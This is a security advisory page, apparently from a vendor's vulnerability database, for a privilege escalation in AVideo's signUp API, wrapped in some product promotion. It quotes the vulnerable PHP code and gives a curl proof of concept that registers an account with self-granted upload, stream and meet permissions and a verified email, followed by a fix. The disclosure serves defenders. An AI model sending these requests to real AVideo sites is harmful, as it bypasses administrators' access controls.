GHSA-8j8m-p79x-g4jm is a medium-severity (CVSS 5.3) CWE-862 vulnerability in wwbn/avideo. A fix is available for wwbn/avideo — see the affected versions and patch details below.
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8j8m-p79x-g4jm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8j8m-p79x-g4jm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.
Details
The authentication check in set_api_signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):
// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
if(empty($_REQUEST['captcha'])){
return new ApiObject("Captcha is required");
}
require_once $global['systemRootPath'] . 'objects/captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if(!$valid){
return new ApiObject("Captcha is wrong, reload it and try again");
}
}
After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:
// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:
// objects/user.php:829-840
if (isset($global['emailVerified'])) {
$this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
$this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
$this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
$this->canUpload = $global['canUpload'];
}
Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.
The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set_api_signUp.
PoC
# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)
# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signUp' \
-d 'user=attacker' \
-d 'pass=Password123!' \
-d '[email protected]' \
-d 'name=Attacker' \
-d 'captcha=VALID_CAPTCHA_TOKEN' \
-d 'emailVerified=1' \
-d 'canUpload=1' \
-d 'canStream=1' \
-d 'canCreateMeet=1'
# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
# plus email marked as verified
# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signIn' \
-d 'user=attacker' \
-d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1
Impact
- Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
- Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
- Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
- Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
- Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented
Recommended Fix
Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:
// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | 29.0composer require wwbn/avideo:^29.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update wwbn/avideo to 29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8j8m-p79x-g4jm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8j8m-p79x-g4jm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8j8m-p79x-g4jm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8j8m-p79x-g4jm in your dependencies?
O3 Security finds GHSA-8j8m-p79x-g4jm across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.